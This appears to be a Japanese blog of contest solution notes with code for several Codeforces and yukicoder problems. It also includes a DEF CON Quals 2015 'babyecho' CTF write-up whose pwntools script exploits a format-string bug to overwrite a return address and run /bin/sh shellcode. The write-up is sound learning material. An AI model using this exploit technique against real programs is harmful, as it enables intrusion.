codeforces 401 div2 B. Game of Credit Cards
問題概要
数列a, bが与えられる. 数列bは好きな順番に変更することができる.
(1) a[i] > b[i] となる i の個数の最小数
(2) a[i] < b[i]となる i の個数の最大数
を求める問題
解法
2部マッチングの最大数を使ってとく.
数列bを任意の順番に動かすことができるので, (2)はa_i < b_j となるものすべてに辺をはって 2部マッチングの最大数を計算すればいい.
(1)はa[i] <= b[i]となる i の個数の最大数を求めることができれば解くことができるので, a_i <= b_j となるものすべてに辺をはって, 2部マッチングの最大値数を計算すればいい.
実装方法は最大流を求めるライブラリを使って, スタート地点とゴール地点を作ってやればいい.
また貪欲に得方法もある. (1)の場合, aの小さいところから貪欲にa<=bを満たすものの数をカウントしていけばいいし, (2)の場合, aの小さいところから貪欲にa<bをしていけばいい.
ミス
難しい.
コード
二部マッチング
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; const int MAX_V = 2010; //必要な頂点数 struct Flow{ struct edge{ int to, cap, rev; }; vector<edge> G[MAX_V];//隣接リスト bool used[MAX_V]; void add_edge(int from, int to, int cap){ G[from].push_back((edge){to, cap, (int)G[to].size()});//from -> to G[to].push_back((edge){from, 0, (int)G[from].size() - 1});//to -> from } //増加パスを探す int dfs(int v, int t, int f){ if(v == t) return f; used[v] = true; for (int i = 0; i < G[v].size(); ++i){ edge &e = G[v][i]; if(!used[e.to] && e.cap > 0){ int d = dfs(e.to, t, min(f, e.cap)); if(d > 0){ e.cap -= d; G[e.to][e.rev].cap += d; return d; } } } return 0; } //sからtへの最大流 int max_flow(int s, int t){ int flow = 0; while(1){ memset(used, 0, sizeof(used)); int f = dfs(s, t, INF); if(f == 0) return flow; flow += f; } } }; int n; int main(void){ int n; cin >> n; string a, b; cin >> a >> b; Flow fw1, fw2; // s -> a() -> b() -> t //s->a rep(i, a.size()){ fw1.add_edge(n * 2, i, 1); fw2.add_edge(n * 2, i, 1); } //b->t rep(i, b.size()){ fw1.add_edge(n + i, n * 2 + 1, 1); fw2.add_edge(n + i, n * 2 + 1, 1); } // a[k] <= b[k] の最大値を求める rep(i, a.size())rep(j, b.size()){ if(a[i] <= b[j]) fw1.add_edge(i, n + j, 1); } //Bが勝てる最小数 cout << n - fw1.max_flow(n * 2, n * 2 + 1) << endl; // a[k] <b[k] の最大値を求める rep(i, a.size())rep(j, b.size()){ if(a[i] < b[j]) fw2.add_edge(i, n + j, 1); } //Aが勝てる回数の最大値 cout << fw2.max_flow(n * 2, n * 2 + 1) << endl; return 0; }
貪欲
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; int n; int main(void){ int n; cin >> n; string a, b; cin >> a >> b; vector<int> va, vb; for(auto u : a) va.pb(u - '0'); for(auto u : b)vb.pb(u - '0'); sort(all(va)); sort(all(vb)); //a[i] > b[i] の最小数 a[i] <= b[i]の最大数 //aの小さいところから貪欲にa<=bをしていけばいい int ans1 = 0; int p = 0; rep(i, n){ while(p < n && va[i] > vb[p])p++; if(p < n) ans1++, p++; if(p >= n) break; } cout << n - ans1 << endl; // 最小値に戻す // a[i] < b[i]の最大数 //aの小さいところから貪欲にa<bをしていけばいい int ans2 = 0; p = 0; rep(i, n){ while(p < n && va[i] >= vb[p]) p++; if(p < n) ans2++, p++; if(p >= n) break; } cout << ans2 << endl; return 0; }
codeforces 401 div2 A. Shell Game
問題概要
カップを3つ用意して, その中のどこかに玉をいれる. カップの番号を左から0, 1, 2としてn回動かす. その動かし方は, 奇数回の時は0と1を入れ替えて, 偶数回の時は1と2を入れ替える. n回入れ替えたあとの位置が与えられるので, はじめ何番目の位置に玉が入っていたかを求める問題.
解法
012
102
120
210
201
021
という順番で動きはじめの012に戻る. これは周期6で動くので, mod6の値を使って計算すればよい.
ミス
実験が大切.
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; int main(void){ vector<vector<int>> v = { {0, 1, 2}, {1, 0, 2}, {1, 2, 0}, {2, 1, 0}, {2, 0, 1}, {0, 2, 1}, }; int n, x; cin >> n >> x; n %= 6; printf("%d\n", v[n][x]); return 0; }
Defcon Quals 2015 : babyecho
問題概要
明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.
解法
% file babyecho babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.
% radare2 babyecho [0x08048d0a]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x08048d0a]> afl 0x08048d0a 1 34 entry0 0x08048f3c 6 275 main 0x08049050 47 821 -> 814 fcn.08049050 [0x08048d0a]> s main [0x08048f3c]> VV
上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.
0x8048fdb: call 0x804f560 ; printf("Reading %d bytes\n", 0xd) 0x8048ff7: call 0x8048e24 ; gets() 0x8049003: call 0x8048ecf ; printf <- FSB
結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,
0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス 0004| 0xffffcb24 --> 0xd ('\r') ; 文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた 0008| 0xffffcb28 --> 0xa ('\n') 0012| 0xffffcb2c --> 0x0 0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ 0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス 0024| 0xffffcb38 --> 0x0 0028| 0xffffcb3c ("aaaa%x%x") ; バッファ
のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?
0x8048fd0: mov DWORD PTR [esp+0x4],eax ;eax = 0xd
よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる.
あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,
0000| 0xffffcb1c --> 0x8049008 (lea eax,[esp+0x1c]) 0004| 0xffffcb20 --> 0xffffcb3c ("aaaa") 0008| 0xffffcb24 --> 0xd ('\r') 0012| 0xffffcb28 --> 0xa ('\n') 0016| 0xffffcb2c --> 0x0 0020| 0xffffcb30 --> 0xd ('\r') 0024| 0xffffcb34 --> 0xffffcb3c ("aaaa") 0028| 0xffffcb38 --> 0x0
以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.
ミス
writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/
https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034
コード
# -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' b = ELF("./babyecho") p = process("./babyecho") index = 7 #bufferまでのindex shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" #バッファのアドレスを出力 payload1 = ''; payload1 += "%5$p" p.recvuntil("bytes\n") #0xd byte p.sendline(payload1) addr_buf = int(p.recvline(keepends=False), 16) addr_esp = addr_buf - 0x1c #4 * 7 log.info("addr_buf %x", addr_buf) log.info("addr_esp %x", addr_esp) #sizeの書き換え 2回 addr_size = addr_esp + 0x10 payload2 = '' payload2 += p32(addr_size) payload2 += "%%%dc%%%d$n" % (99, index) p.recvuntil('bytes\n') #13 byte p.sendline(payload2) addr_size = addr_esp + 0x10 payload2 = '' payload2 += p32(addr_size) payload2 += "%%%dc%%%d$n" % (999, index) p.recvuntil('bytes\n') #103byte p.sendline(payload2) #shellcode実行 addr_ret = addr_esp - 0x4 payload3 = "" payload3 += p32(addr_ret) payload3 += p32(addr_ret + 1) payload3 += p32(addr_ret + 2) payload3 += p32(addr_ret + 3) payload3 += shellcode nagasa = len(payload3) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa) % 256, index) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1])) % 256, index + 1) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2])) % 256, index + 2) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3])) % 256, index + 3) p.recvuntil("bytes\n") #1003 p.sendline(payload3) p.interactive()
yukicoder No.488 四角関係
問題概要
ノード間のつながりが与えられる. 任意の4つのノードの組み合わせを考えて, その4つのノード間のつながりだけを考えたときに四角形となっている組み合わせがいくつあるか.
解法
n=50なので, すべての任意の4つの組み合わせの総数nC4を全部計算しても間に合う.
4つのノードが四角形になるかを確かめる方法は, 四角形になるとき, その4頂点すべてはほかの3頂点のうちの2つとつながっている.
G[i][j] := 1ならi-j間に辺があり, 0ならi-j間に辺はない
という配列Gを使って計算すればいい.
ミス
すぐに思いつきたい.
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; int G[55][55]; int n, m; int main(void){ cin >> n >> m; rep(i, m){ int a, b; cin >> a >> b; G[a][b] = G[b][a] = 1; } int cnt = 0; rep(i, n)reps(j, i + 1, n)reps(k, j + 1, n)reps(l, k + 1, n){ int d1 = G[i][j] + G[i][k] + G[i][l]; int d2 = G[j][i] + G[j][k] + G[j][l]; int d3 = G[k][i] + G[k][j] + G[k][l]; int d4 = G[l][i] + G[l][j] + G[l][k]; if(d1 == 2 && d2 == 2 && d3 == 2 && d4 == 2) cnt++; } printf("%d\n", cnt); return 0; }
yukicoder No.487 2017 Calculation(2017の計算)
問題概要
2017 + (2017*2017)2017 のMOD Mを計算.
解法
2017*2017のを2017乗するととても大きな値になるので逐次MODをとりながら計算していく. 掛け算足し算の計算ではすべて計算したあとにMODをとっても, 計算途中でMODをとって計算していっても結果は変わらない.
ミス
powmodのライブラリがあればすぐ終わる. pythonだとpowの3番目の引数を使って, powmodができる. 2017回ループさせても大丈夫.
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; //x^k mod ll powmod(ll x, ll k, ll m){ if(k == 0) return 1; if(k % 2 == 0) return powmod(x * x % m, k / 2, m); else return x * powmod(x, k - 1, m) % m; } int main(void){ ll m; cin >> m; ll d = powmod(2017*2017, 2017, m); printf("%lld\n", (d + 2017) % m); return 0; }
pythonの場合
m = input() print (2017 + pow(2017 * 2017, 2017, m)) % m
yukicoder No.486 3 Straight Win(3連勝)
問題概要
OXXXOXXのようなOとXからなる文字列が与えられる. OはEastの勝ちで, XはWestの勝ちを表している. 先に3連勝したほうを勝ちとする. どちらが勝つか. 勝者がない時はNAを出力.
解法
連続した3文字が同じ文字であるかを判定し, 先に同じ文字になった方を勝ちとすればいい. 最後まで見つからなければ, NAとする.
ミス
なし.
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; int main(void){ string s; cin >> s; if(s.size() < 3){ printf("NA\n"); return 0; } rep(i, s.size() - 2){ if(s[i] == 'O' && s[i + 1] == 'O' && s[i + 2] == 'O'){ printf("East\n"); return 0; } if(s[i] == 'X' && s[i + 1] == 'X' && s[i + 2] == 'X'){ printf("West\n"); return 0; } } printf("NA\n"); return 0; }
yukicoder No.485 方程式のお勉強
問題概要
A*x = B の方程式の解を求める問題. ただし, 解が少数になる場合はNOを出力.
解法
BをAで割り切れるか, 割り切れないかで場合分けする.
ミス
なし.
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const ll INFF = 1e18; int main(void){ int a, b; cin >> a >> b; if(b % a == 0) printf("%d\n", b / a); else printf("NO\n"); return 0; }